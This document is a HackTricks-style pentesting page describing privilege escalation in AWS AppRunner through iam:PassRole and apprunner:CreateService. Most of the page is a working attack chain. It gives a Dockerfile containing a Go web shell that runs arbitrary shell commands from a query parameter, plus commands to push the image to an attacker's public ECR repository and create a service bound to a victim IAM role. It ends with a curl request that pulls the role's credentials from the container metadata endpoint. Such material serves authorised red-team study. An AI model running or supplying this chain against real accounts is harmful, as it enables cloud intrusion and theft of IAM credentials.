AWS - AppRunner Privesc

Reading time: 3 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AppRunner

iam:PassRole, apprunner:CreateService

An attacker with these permissions can create an AppRunner service with an attached IAM role, potentially escalating privileges by accessing the role's credentials.

The attacker first creates a Dockerfile that serves as a web shell to execute arbitrary commands on the AppRunner container.

Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
	"fmt"
	"net/http"
	"os/exec"
)

func main() {
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
		output, err := command.CombinedOutput()
		if err != nil {
			fmt.Fprint(w, err.Error(), output)
			return
		}

		fmt.Fprint(w, string(output))
	})
	http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Then, push this image to an ECR repository. By pushing the image to a public repository in an AWS account controlled by the attacker, privilege escalation is possible even if the victim's account doesn't have permissions to manipulate ECR.

sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

Next, the attacker creates an AppRunner service configured with this web shell image and the IAM Role they want to exploit.

bash
aws apprunner create-service \
    --service-name malicious-service \
    --source-configuration '{
        "ImageRepository": {
            "ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
            "ImageRepositoryType": "ECR_PUBLIC",
            "ImageConfiguration": { "Port": "3000" }
        }
    }' \
    --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
    --query Service.ServiceUrl

After waiting for the service creation to complete, use the web shell to retrieve container credentials and obtain the permissions of the IAM Role attached to AppRunner.

sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Potential Impact: Direct privilege escalation to any IAM role that can be attached to AppRunner services.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks